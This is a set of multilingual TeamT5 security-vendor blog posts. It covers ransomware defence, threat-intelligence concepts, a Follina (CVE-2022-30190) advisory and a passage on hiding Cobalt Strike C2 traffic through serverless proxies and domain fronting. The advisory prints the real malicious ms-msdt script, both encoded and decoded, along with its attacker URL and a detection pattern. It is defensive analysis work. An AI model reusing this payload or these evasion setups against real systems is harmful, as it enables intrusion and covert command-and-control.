TeamT5 長期研究網路攻擊事件，本文分享阻斷勒索病毒3大步驟，協助公司行號免於駭客威脅，不用面臨繳付鉅額贖金、才能要回重要檔案的風險。

## 步驟1: 症狀監控，偵測行為
當駭客植入的勒索軟體正在破壞企業備份機制或對檔案進行加密時，需有資安工具，才能夠偵測到這樣的異常行為，即時中斷勒索軟體運行。

## 步驟2: 隔離觀察，阻止傳播
資安工具需對偵測到的勒索軟體即時發出警告，並阻止其傳播；當有確診發生時，快速隔離惡意程式，截斷運作；同時將受害的電腦進行隔離，讓攻擊者無法在內部網路橫向移動，進而影響更多電腦。

## 步驟3: 完美治療，還原備份

資安工具需有備份檔案的保護機制，確保企業能夠成功還原備份資料，讓先前的資料備份派上用場。

## 最後小提醒

TeamT5 提醒阻斷勒索病毒3大步驟包含監控可疑行為、阻止傳播擴散、還原備份檔案。

導入端點防護工具，如 TeamT5 推出的 ThreatSonar Anti-Ransomware，快速為您阻斷勒索病毒，讓勒索軟體不再是企業營運的威脅!
 
 
 
企業防駭，就找TeamT5!

🔏 諮詢表單 https://teamt5.org/tw/request-information/
 
 
 
<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/ku2d1YbCp9M" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</center>

阻斷勒索病毒3大步驟 企業防駭必看

Products & Services

Tactics, Techniques, and Procedures (TTPs) is a comprehensive description of a cyber actor's behavior. 

- Tactic: the highest-level description of the cyber actor’s behavior. 
- Technique: gives a more detailed description of behavior in the context of a tactic.
- Procedure: an even lower-level, highly detailed description in the context of a technique.

A good threat intelligence will provide TTPs, so the reader has a detailed understanding of the cyber attack. Then, the reader will be able to take right defensive measures.
 
 
 
 
 
*Reference: 
[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What are Tactics, Techniques, and Procedures (TTPs)? Why do CTI analysts talk about them all the time?

TTPs 是 Tactics, Techniques, and Procedures 的縮寫，分別指戰術、技巧和程序。用以描述威脅行動者的攻擊模式或特徵。

- 戰術(tactic): 指的是以宏觀層次描述描述網路攻擊。
- 技巧(technique): 比戰術的細節更多，提供完整的脈絡
- 程序(procedure): 說明完整的攻擊過程，較技巧所提供的資訊更詳細

一份有價值的威脅情資報告會提供詳盡的 TTPs 分析，協助讀者深入了解該次攻擊事件，從而採取正確的防禦措施。
 
 
 
 
 
*參考資料: 
[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是 TTPs? 為什麼 TTPs 是網路攻擊分析的重要元素?

TTPsは、Tactics（戦術）、Techniques（技術）、Procedures（手順）の略語です。攻撃者の攻撃パターンや特徴。

- 戦術：マクロレベルでのサイバー攻撃。
- テクニック：「戦術」よりも詳細で完全なコンテクストを提供。
- 手順：攻撃の全プロセス、「テクニック」よりも詳細な情報を提供。

詳細なTTPs解析により価値のある脅威レポートを提供します。レポートにより、攻撃をさらに理解できるようになり、正しい対策を講じるのに役立ちます。
 
 
 
 
 
*参考文献:
[tactics, techniques, and procedures (TTP) - nist.gov](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures)
 
*画像のソース: [Pixabay](https://pixabay.com/)

TTPsとは？ サイバー攻撃の分析に関する重要な要素である理由

Cyber kill chain describes on how cyber attackers break into companies’ systems. 

It contains 7 steps -

1. **Reconnaissance**: Attackers collect information about the staff from the target company e.g. email address, public info in social network platforms, etc. By using tools, attackers can scan websites or systems to find out which type and version is being used by the company.
2. **Weaponization**: Attackers look for tools or design their own tools to execute the cyber attacks, e.g. backdoor, trojan, etc.
3. **Delivery**: Attackers deliver weaponized packages to the victim via email, web, flash drive, etc.
4. **Exploitation**: Attackers exploits a vulnerability to execute code on the victim's system.
5. **Installation**: After the exploitation stage, malware will be installed on the victim’s system. This ensures attackers have long-term access and control of the victim’s system. 
6. **Command & Control**: This part is also called C2. It is a common channel for remote manipulation of the victim.
7. **Actions**: Take action to accomplish their original goals.


For various cyber attacks,the cyber kill chain can help the enterprise cybersecurity team studying system breaches or knowing and dealing with them. By doing so, the team can successfully achieve their cybersecurity defense goals.
 
 
 
*Reference:
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is Cyber Kill Chain? Why Does It Matters?

網路攻擊鏈(Cyber Kill Chain)以7個環節，描述網路攻擊者採取的攻擊步驟。

7個環節依序是:

1. **偵查 Reconnaissance**: 攻擊者收集目標對象的資料，如電子郵件信箱、社群平台的資料，以找到可以下手的弱點；或是透過工具，掃描目標對象的網站、系統，得知使用的系統種類、版本。
2. **武裝 Weaponization**: 攻擊者使用現成的開源工具或是自行開發專屬的惡意程式。
3. 遞送 Delivery: 攻擊者將攻擊武器送入目標的系統內，如透過釣魚信件裡的連結、夾帶木馬的盜版軟體、隨身碟。
4. **漏洞利用 Exploitation**: 確保遞送的惡意軟體，藉由目標對象的系統漏洞，得以順利開啟，並使攻擊者獲得控制權。
5. **安裝 Installation**: 攻擊者確保自身可以長期控制目標的系統內，以有足夠的時間進行後續環節。
6. **發令與控制 Command & Control**: 本環節取兩個單字的字首，又可簡稱為 C2。攻擊者潛伏在目標的系統內，收集資料，探索環境，以便審慎規劃後續行動。
7. **行動 Actions**: 根據攻擊者的最終目標，採取行動，如破壞系統、竊取機密資料、勒索目標對象。


針對各類網路攻擊，以網路攻擊鏈進行深度分析，有助企業資安團隊找出系統破口，進行修補與處置，達成資安防禦目標。
 
 
 
*參考資料:
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是網路攻擊鏈 (Cyber Kill Chain)? 對資安防禦的重要性是什麼?

サイバーキルチェーン（Cyber Kill Chain）は、サイバー攻撃を7ステップに分解したものです。

7ステップ： 

1. **偵察**: 攻撃者は悪用できる脆弱性を見つけるためにメールアドレス、SNSなどで攻撃対象の情報を集めます。またはツールで攻撃対象のWebサイト、システムをスキャンし、使用しているシステムの種類やバージョンなどの情報を得ます。
2. **武器化**: 攻撃者は既存のオープンソースツールまたは自身が開発した専用のマルウェアを使用します。
3. **配送**: 攻撃者はフィッシングメール内のリンク、トロイの木馬入り海賊版ソフトウェア、USBフラッシュドライブなどを介して武器をターゲットのシステム内に送り込みます。
4. **脆弱性の利用**: 攻撃者は攻撃対象のシステムの脆弱性を利用し、送り込んだマルウェアを開いてコントロール権を得ます。
5. **インストール**: 攻撃者はターゲットのシステムを長時間コントロールできるようにし、その後のプロセスを実行するための十分な時間を確保します。
6. **コマンド&コントロール**: 2つの英単語の頭文字をとってC2と略されることもあります。攻撃者は行動を慎重に計画するため、ターゲットのシステム内に潜伏して、資料を集めたり環境を探ったりします。
7. **行動**: 攻撃者は攻撃対象のシステムの破壊、機密情報の窃取、身代金の要求など、最終目標に向けた行動を起こします。


さまざまなサイバー攻撃をサイバーキルチェーンで詳細に分析することで、企業の情報セキュリティチームはシステムの脆弱性を見つけ、修正および対処することができ、情報セキュリティ保護を達成するのに役立ちます。
 
 
 
*参考文献
[Cyber Kill Chain® | Lockheed Martin](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
 
*画像のソース: [Pixabay](https://pixabay.com/)

サイバーキルチェーン（Cyber Kill Chain）とは？ 情報セキュリティ保護の重要性について

>當企業發生資安事件，常會成為新聞焦點。資安事件一旦見光，不僅會造成品牌的名聲受到損害，更有可能會因此流失客戶。於是，做好完善的資訊安全管理，在近幾年便成為金融機構、政府單位，甚至是各大企業的重點營運目標。
>
>那麼，企業應如何挑選資安廠商呢？本文提供給3點建議，協助企業找到長期合作的供應商。

## 企業挑選資安廠商的3項重點

### **一、貼心客服，專業處理**
要挑選優良的資安廠商，就需要優秀且貼心的在地化客服團隊。
有了在地團隊接地氣的服務品質，才能夠在事件發生時，及時處理，甚至提前預防攻擊事件。

### **二、量身訂製，最佳對策**
資安廠商比起單一企業，更有機會能根據客戶的產業或特性，為企業量身訂製最合適的解決方案。
除了企業內部的需求，在挑選時不妨也多多確認資安廠商能提供的解決方案導入彈性，讓解決方案發揮效益的同時，雙方更能夠順暢的合作。

### 三、頂尖研發，強力後盾
資安廠商也需要具備夠堅強的技術實力，不僅在導入時，提供客戶直覺易懂的解決方案，更可在合作期間，持續完善、鞏固資訊安全的研究能量，協助客戶永遠走在趨勢之前，預防潛在的網路攻擊，為風險作好準備。

## 結論
企業挑選資安廠商是資安計畫執行的重要關鍵。根據上述3項重點，選擇對的資安廠商，可協助企業順暢營運，不受資安攻擊事件威脅。
 
 
杜浦數位安全 TeamT5 作為亞太地區惡意攻擊情資專家，持續深入了解金融、政府及各大企業的多元需求，推出防範勒索攻擊的最佳解決方案。
 
 
我們更進一步與台灣頂尖資訊系統整合廠商合作，協力提供企業最優良、最安心的資訊安全整合方案，讓您不必擔心又遭到駭客攻擊而渾然不知，晚上得以安心入睡。
 
 
📌企業防駭，就找TeamT5
 
🔏 諮詢表單 https://teamt5.org/tw/request-information/
 
 
 
*關鍵字: 資安公司推薦、資安公司評價、資安公司心得、臺灣資安公司

企業挑選資安廠商的3項重點

繼 SpringShell 之後，近日又再爆出另一個高風險的微軟零日漏洞！

CVE-2022-30190 是一個存在於微軟 Office 內的漏洞，威脅行動者可透過微軟支援診斷工具（MSDT, Microsoft Support Diagnostic Tool）執行惡意程式碼。基於微軟 Office 的普及度，影響範圍難以估算。

此外，根據 [TeamT5 情資團隊](https://teamt5.org/tw/products/threatvision/)的追蹤，目前已發現多個 APT 族群（包含中國 APT）自 2022 年 4 月初開始，就已利用此一漏洞針對印度、尼泊爾、菲律賓、俄羅斯及白俄羅斯等國家展開攻擊行動。我們研判 CVE-2022-30190 屬於高風險等級的漏洞，呼籲各界儘速採取微軟官方的緩解措施。

## 影響範圍

根據 [SANS Technology Institute](https://www.sans.org/webcasts/emergency-webcast-msdt-ms-word-0-day/) 文章說明，受影響範圍如下：
![Follina_pic1.png](https://uploads.teamt5.org/upload/original/Follina_pic1.png)

接下來，讓我們一起來了解一下此次的攻擊技術手法：

## 舊有的攻擊手法重新再啟?!
URL Protocol 一直屬於攻擊者偏好的地方，這是一個很長久的歷史問題。

有關 Microsoft Support Diagnostic Tool 利用的手法，最早公布的時間應該在 The dangers of Electron’s shell.openExternal()—many paths to remote code execution Published: 2020-08-29 T 17:27。

2020 年有研究人員提出 ms-msdt URL Protocol 利用手法，透過 URL 中惡意的 ms-msdt 語句執行其他的程式。

Windows ms-msdt 用來打開 Microsoft 支援診斷工具的協定，該工具用於提供故障排除指引，協助診斷 Wi-Fi 和音效問題等。攻擊者透過輸入惡意的路徑與參數讓程式可以轉向執行惡意的行為。

相關技術細節可以參考下列[部落格](https://benjamin-altpeter.de/shell-openexternal-dangers/)：
![Follina_pic2.png](https://uploads.teamt5.org/upload/original/Follina_pic2.png)

## ms-msdt URL Protocol 於 Office 文件上重現： Follina 誕生

近期有研究人員於[野外捕獲一份](https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection)運用此攻擊手法的 Office 文件，並命名為 Follina。

Follina 立刻引發了資安圈熱烈的討論與測試，各家資安廠商，都開始正視了這個問題，並積極地來回應相對應的措施。

此樣本透過引用外部物件的方式載入一個惡意網址：
 
```https://www[.]xmlformats[.]com/office/word/2022/wordprocessingDrawing/RDF842l[.]html```
 

此網址目前失效，但於攻擊發生時，該網頁內容是一個 script： 
 
```
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
```
 
 
由上述內容，可看出與 2020年 研究人員所發布的技術相似，透過 MSDT 的利用方式來進行惡意的攻擊。

上述的編碼文字經過解碼後，可得到如下的惡意指令：
 
```
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
```
 

當遇到類似的 msdt 攻擊，script 內容都會有如下的特徵：
 
```
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc)/.exe\"";
```
 
 
更多詳細的惡意樣本分析可參考 [報告連結](https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug)

類似的攻擊手法可能會在很多情境發生，除了 Office 之外，其它類型的檔案格式也可能受到攻擊。另外，影音撥放程式與檔案總管預覽等支援相關的 URL Protocol，都有可能是攻擊的標的。

攻擊後的行為在 [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer) 的 Command Line 上可能會有如下的資訊：
![Follina_pic3_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic3_update.JPG)

## 緩解措施

當前微軟建議的緩解方式是暫時先停用 MSDT 相關的功能，但可能會有不可預期的狀況發生，建議先備份註冊表 MSDT。

### MSDT 關閉方式：
###### 方法一：請使用管理者權限透過命令列模式操作，可參考下方附圖

1.備份註冊表中 MSDT 內容： ```reg export hkcr\ms-msdt backup.key```
 
2.查詢註冊表中 MSDT 內容： ```reg query hkcr\ms-msdt /s```
 
3.刪除註冊表中 MSDT 內容： ```reg delete hkcr\ms-msdt /f```
 
4.可再次查詢是否成功刪除： ```reg query hkcr\ms-msdt /s```
 
Note：若要還原註冊表之 MSDT 內容，可以執行：```reg import backup.key```
 
 
執行畫面：
- 備份
![Follina_pic4_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic4_update.JPG)
 
- 查詢＆刪除
![Follina_pic5_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic5_update.JPG)


###### 方法二：透過視窗模式關閉

請使用管理者權限執行 ```regedit.exe``` 並且搜尋 ms-msdt，找到之後點選 ms-msdt，點選右鍵選擇匯出進行備份，接著刪除 ms-msdt。

![Follina_pic6_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic6_update.JPG)

詳細的緩解資訊可以參考[微軟官方部落格](https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)。

### 實際測試 Exploit 執行狀況
POC 攻擊程式 ```follina.py``` 執行後，即會在目錄下產生 clickme 的 office 文件，開啓後即會執行惡意攻擊。在此範例中，則會開啟小算盤。
![Follina_pic7_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic7_update.JPG)

## ThreatSonar Anti-Ransomware 偵測狀況

經過實際測試，雖然此攻擊手法首次運用在 Office 系列上，[ThreatSonar Anti-Ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/) 在不更新的情況下可以直接偵測到此 0-day 威脅，並且標注出 Payload（惡意程式碼）。
![Follina_pic8_update.JPG](https://uploads.teamt5.org/upload/original/Follina_pic8_update.JPG)

## 關於 ThreatSonar Anti-Ransomware
[ThreatSonar Anti-Ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/) 是一個資安防禦平台，能有效對抗 APT 攻擊並全面防堵勒索軟體，並提供 MDR 資安代管服務。
 
 
 
- 更多 ThreatSonar Anti-Ransomware 資訊: https://teamt5.org/tw/products/threatsonar-anti-ransomware/

【TeamT5 資安即時快訊】Office 惡意變種再現： CVE-2022-30190 Follina 詳解

Technical Analysis

## What is Diamond Model of Intrusion Analysis? 
The Diamond Model of Intrusion Analysis is a model to describe cyber attacks. It contains 4 parts - adversary, infrastructure, capability, and target. It gives analysts a comprehensive view of cyber attacks.

- Adversary: Where are attackers from? Who are the attackers? Who is the sponsor? Why attack? What is the activity timeline and planning?
- Infrastructure: Infected computer(s), C2 domain names, location of C2 servers, C2 server types, mechanism and structure of C2, data management & control, and data leakage paths 
- Capability: What skills do the attackers have to do reconnaissance, deliver their attacks, attack exploits and vulnerabilities, deploy their remote-controlled malwares and backdoors, and develop their tools.
- Target: Who is their target country/region, industry sector, individual, or data?

## Why Does It Matter?
For various cyber attacks, the diamond model of intrusion analysis can help enterprise cybersecurity teams find system breaches and deal with them. By doing so, they can successfully achieve cybersecurity defense goals.

![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_en.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_en.jpg)
<center>Diamond Model of Intrusion Analysis</center>

 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is the Diamond Model of Intrusion Analysis? Why Does It Matter?

## 什麼是入侵分析鑽石模型? 

入侵分析之鑽石模型(diamond model of intrusion analysis)是以4大元素分析網路攻擊的模型，4大元素包含敵人(adversary)、設施(infrastructrue)、能力(capability)、目標(target)。

4大元素的細節包含: 
- 敵人(adversary): 敵人從哪邊來?敵人是誰? 幕後主導者/贊助者是誰? 攻擊的動機是什麼?攻擊的時間表和計劃是什麼? 
- 設施(infrastructrue): 受感染的電腦、C2域名、C2服務器位置、C2服務器類型、C2管理的機制和結構、控制和資料搬運的路徑
- 能力(capability): 攻擊者具備的偵測技術、遞送惡意軟體的方式、會利用的漏洞、可以遠端控制的惡意軟體/後門程式、橫向移動的技巧與使用的工具、竊取資料的技術
- 目標(target): 意圖攻擊的目標、鎖定的目標國家/地區、鎖定的目標產業、鎖定企業哪個部門、鎖定哪種職能的員工、意圖竊取的資料類型

## 入侵分析鑽石模型對資安防禦的重要性是?
針對各類網路攻擊，以入侵分析之鑽石模型進行多角度分析，有助企業資安團隊找出系統破口，進行修補與處置，達成資安防禦目標。


![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_tw.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_tw.jpg)
<center>入侵分析鑽石模型</center>

 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是入侵分析鑽石模型? 對資安防禦的重要性是?

## 侵入分析のダイヤモンドモデルとは？

侵入分析のダイヤモンドモデル（diamond model of intrusion analysis）は、攻撃グループ（adversary）、攻撃基盤（infrastructure）、能力（capability）、ターゲット（target）の4つの要素からサイバー攻撃のパターンを分析する方法です。

4つの要素の詳細について： 
- 攻撃グループ(adversary): 撃グループは誰でどこから来たのか。背後の主導者や協力者は誰で攻撃の動機は何なのか。攻撃のスケジュールや計画。 
- 攻撃基盤(infrastructrue): 感染したコンピュータ、C2サーバの名称、場所、タイプ、C2管理のメカニズムと構造、制御パス、データパス。
- 能力(capability): 攻攻撃者の検出技術、マルウェアの送信方法、悪用される可能性のある脆弱性、遠隔操作可能なマルウェア/バックドア、ラテラルムーブメントの技術と使用されるツール、データを盗む技術。
- ターゲット(target): どのような国/地域、産業、企業の部門、スキルを持った従業員が攻撃対象となっているか。盗もうとしているデータのタイプ。

## 情報セキュリティ保護の重要性について
さまざまなサイバー攻撃を侵入分析のダイヤモンドモデルで多角的に分析することで、企業の情報セキュリティチームはシステムの脆弱性を見つけ、修正および対処することができ、情報セキュリティ保護を達成するのに役立ちます。


![What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_jp.jpg](https://uploads.teamt5.org/upload/original/What_is_Diamond_Model_of_Intrusion_%20Analysis_pic_jp.jpg)
<center>侵入分析のダイヤモンドモデル</center>

 
*画像のソース: [Pixabay](https://pixabay.com/)

侵入分析のダイヤモンドモデルとは？ 情報セキュリティ保護の重要性について

## The definition of cyber threat intelligence
Cyber threat intelligence (CTI) is information that has been aggregated, transformed, analyzed, interpreted, or enriched to provide the necessary context for decision-making processes.

## Why does cyber threat intelligence matter to enterprises?
As the old saying “know the enemy, know yourself, and in every battle you will be victorious”, cyber threat intelligence plays the same important role in cyber war. It gives enterprises an overview of the threat landscape. Enterprise can make better cybersecurity defense plans to secure daily operation. 

## 3 levels of cyber threat intelligence
Cyber threat intelligence contains 3 levels - strategic, operational, and tactical threat intelligence.

**1. Strategic Threat Intelligence**
(Non-Technical, usually CXX users) : Identifies the Who and Why. Uses high-level information (whitepapers, policy documents, publications, etc.)

**2. Operational Threat Intelligence**
(Mixed, SOC leaders, analysts, etc.): Works on the How and Where. Uses information about threat actor tactics, techniques, procedures, etc.

**3. Tactical Threat Intelligence**
(Technical, usually Security Operations Center (SOC) personnel): Look at the What. Uses Indicators of Compromise (IoC) such as file names, hashes, domain names, IP addresses, etc.

## Summary
Threat intelligence is an important part of enterprises’ cybersecurity plans. Enterprises can effectively deploy information security defenses and ensure smooth operations using the intelligence gathered and analyzed by the top threat intelligence research teams.



We, TeamT5, are the top research team in malware & Advanced Persistent Threat (APT). We’re frequently invited to share our insights in top cybersecurity conferences - Black Hat (USA), Code Blue/ AVTokyo (Japan), Troopers(Germany), and other events organized by global organizations such as Hack In The Box, and FIRST.

Contact us today to learn more about our threat intelligence platform.
 
 
 
*Reference:
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*Image courtsey of [Pixabay](https://pixabay.com/)

What is Cyber Threat Intelligence (CTI)? Why Does It Matter?

## 威脅情資的定義
威脅情資(threat intelligence)或稱網路威脅情資(cyber threat intelligence,CTI) ，指的是與網路攻擊相關的資訊，經由專業團隊收集、轉換、分析、解釋等處理過程，提供資安決策過程所需要的基礎。

## 威脅情資對企業的重要性
孫子兵法提及戰場上的重要原則「知己知彼，百戰不殆」，到如今的網路戰爭中，一樣適用，而威脅情資就是企業進行資安防禦布局的關鍵。

透過威脅情資，企業能夠有效規劃資安防禦計畫，包含如何為員工進行資安意識的教育訓練，了解需導入的資安解決方案，如何調整資訊系統的設定，並可在多個資安防禦目標中，區分輕重緩急，分配預算。

## 威脅情資的3大層次
威脅情資依其內涵，分為3個層次，每個層次都可為企業的資安計畫帶來效益。
 
**1. 戰略型威脅情資(Strategic Threat Intelligence): **無技術細節，由 CXO 層級使用；用於辨別誰會想攻擊? 為何想攻擊?

**2. 實戰型威脅情資(Operational Threat Intelligence): **需要技術背景，由SOC 主管、分析研究員等使用；用於理解攻擊者的TTP (戰術 Tactics 、技術 Techniques、流程 Procedures)

**3. 戰術型威脅情資(Tactical Threat Intelligence):** 需要技術背景，通常是 SOC 人員使用；以威脅指標(indicator of compromise, IoC)，監看特定攻擊事件

## 總結
威脅情資是企業資安重要的一環，與具備完整威脅情資資料庫的廠商合作，企業可有效進行資安防禦布局，確保營運順暢。

TeamT5 杜浦數位安全專精網路威脅研究，具備超過10年的惡意程式與進階持續性滲透攻擊(APT)的研究經驗。基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。

今天就聯絡我們，展開企業資安的第一步!
 
 
 
*參考資料:
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*首圖來源: [Pixabay](https://pixabay.com/)

什麼是威脅情資? 對企業的重要性是什麼?

## 脅威インテリジェンスの定義
脅威インテリジェンス（threat intelligence）はサイバー脅威インテリジェンス（cyber threat intelligence,CTI）とも呼ばれ、サイバー攻撃に関する情報を指します。専門家のチームにより収集、変換、分析、解釈などの処理が行われ、情報セキュリティの意思決定プロセスに必要な基礎となります。

## 企業にとっての脅威インテリジェンスの重要性
孫子の兵法には「彼を知り己を知れば百戦殆うからず」という戦場における重要な原則がありますが、同じことが今日のサイバー戦争にも当てはまります。脅威インテリジェンスは、企業が情報セキュリティ保護を展開する際の重要なポイントとにもなります。

脅威インテリジェンスにより、企業は情報セキュリティの意識に関する従業員のトレーニング方法、導入する情報セキュリティソリューションへの理解、情報システムの設定および調整方法など、効果的に情報セキュリティ保護の計画を立てることができます。また、複数の情報セキュリティ保護に優先順位をつけて予算を割り当てることができます。

## 脅威インテリジェンスの3つのレベル
脅威インテリジェンスは内容によって3つのレベルに分けられ、それぞれのレベルが企業の情報セキュリティ計画にメリットをもたらします。
 
 
**1. 戦略的脅威インテリジェンス(Strategic Threat Intelligence): **技術的な背景を必要とせず、CXOレベルで使用されます。誰が何のために攻撃しようとしているのかを判断します。
 
 
**2. 運用的脅威インテリジェンス(Operational Threat Intelligence): ** 技術的な背景が必要で、SOCマネージャーや分析研究員などが使用します。攻撃者のTTP（戦術「Tactics」、技術「Techniques」、手順「Procedures」）を把握します。
 
 
**3. 戦術的脅威インテリジェンス(Tactical Threat Intelligence):** 技術的な背景が必要で、一般的にSOC担当者が使用します。 セキュリティ侵害インジケーター（indicator of compromise, IoC）で、特定のセキュリティインシデントを監視します。
 
 
## まとめ
脅威インテリジェンスは企業の情報セキュリティにおける重要な部分であるため、完全な脅威インテリジェンスデータベースを備えた業者と提携することで、効果的に情報セキュリティ保護を展開し、スムーズな経営を維持できます。

TeamT5は、サイバー脅威の研究を専門としており、マルウェアおよびAPT（高度で持続的な脅威）の研究に10年以上携わっています。当社は地理および言語の強みを活かして効果的にアジア太平洋地域のハッキング攻撃を把握しているほか、世界レベルの情報セキュリティカンファレンスにたびたび出席し、研究成果を発表しています。

ぜひ、今すぐ当社にご連絡いただき、企業の情報セキュリティの第一歩を踏み出してください。

👉 https://teamt5.org/jp/request-information/

 
 
 
*参考文献: 
[threat intelligence - nist.gov](https://csrc.nist.gov/glossary/term/threat_intelligence)
 
*画像のソース: [Pixabay](https://pixabay.com/)

脅威インテリジェンスとは？企業にとっての重要性について

Cobalt Strike is a well-established red-teaming toolkit that was specifically designed to create feature-rich backdoors in the matter of seconds. However, ever since its inception, the tool has been heavily abused by threat actors all over the world (e.g., Polaris/MustangPanda, APT32/OceanLotus, cybercriminals, etc.) The popularity of Cobalt Strike is primarily due to how powerful its built-in payload generators are, its flexibility in deploying the Beacon to the target machine(s) - and most notably - its ability to disguise the payload traffic in the target network.

Over the last year or so, more and more beacons relying on third-party services as their proxy are being found in the wild. Since the use of these third-party CDNs can allow anonymized C2 and enhance its detection evasion, numerous APTs have also begun using these services. In the following sections, we will go through some of the techniques used by these threat actors to see how one could easily set up these misused configurations.

## Serverless Functions
Other techniques that threat groups have been employing also include the use of third-party services such as Cloudflare Workers. With the use of serverless services, it is possible to setup what is essentially a free reverse proxy to a Cobalt Strike endpoint. When set up properly, these services can provide an additional layer of protection, as looking up the domain will only yield the service’s IP instead of the origin server.

![202205_blog_pic1.png](https://uploads.teamt5.org/upload/original/202205_blog_pic1.png)
 

Since these services are often set up with sub-domains that the threat actor could freely set up without purchasing a real domain, they could also be set to a somewhat convincing fake domain. In this example, the C2 was set to ```route.moffice365.workers.dev``` to make the traffic look somewhat related to Microsoft services.

![202205_blog_pic2.png](https://uploads.teamt5.org/upload/original/202205_blog_pic2.png)
 

The nature of these serverless functions makes it extremely difficult to attribute the origins of or identify the threat actors. Since the serverless code is only stored on Cloudflare, and its execution is done on Cloudflare’s servers, there is not a feasible way to identify the C2 infrastructures.

## Domain Fronting via CDN


Domain fronting is a technique that attempts to disguise the traffic by smuggling data to a well-known service or domain. In other words, similar to the previous technique, domain fronting cannot be feasibly blocked without disrupting services and or examining the inner request. HelpSystems, the company behind Cobalt Strike, had actually done a write-up of Cobalt Strike domain fronting using CloudFront in 2017[1].

![202205_blog_pic3.png](https://uploads.teamt5.org/upload/original/202205_blog_pic3.png)
 

Essentially, certain websites employ CDNs like CloudFront to deliver assets on their websites. Under normal circumstances, the ```Host``` header determines where the request should go - and this header is assigned by the website. However, we can also abuse this “feature” and make our beacon visit a certain domain with a specified Host header that goes to our CDN instead of the standard CDN that the website uses. With HTTPS, this request would be extremely difficult or impossible for the IT admin to block, as the request itself is encrypted, and on the surface, it would look like the user is simply visiting a reputable site.

## Domain Fronting with a Non-existent Domain
The following technique, however, does something slightly different. Some time ago last year, we detected a rather peculiar looking Cobalt Strike payload where its C2 address was set to ```pypi.python.org```. Obviously the actor couldn’t have possibly obtained the rights to the domain owned by the Python Foundation, and the chance of them pwning the service is also little to none.

![202205_blog_pic4.png](https://uploads.teamt5.org/upload/original/202205_blog_pic4.png)
 

So what gives? It turns out the secret lies within the service that operates the sub-domain and the HTTP header specified in the beacon. The Python Foundation uses Fastly for most of its services. Fastly uses the ```Host``` header specified within the request to decide which service to redirect the request to internally. For example, if I were to create a service on Fastly named ```dl-python.org```, and the ```Host``` header is set to ```dl-python.org``` in the beacon, Fastly would then forward the request to the service named as such.

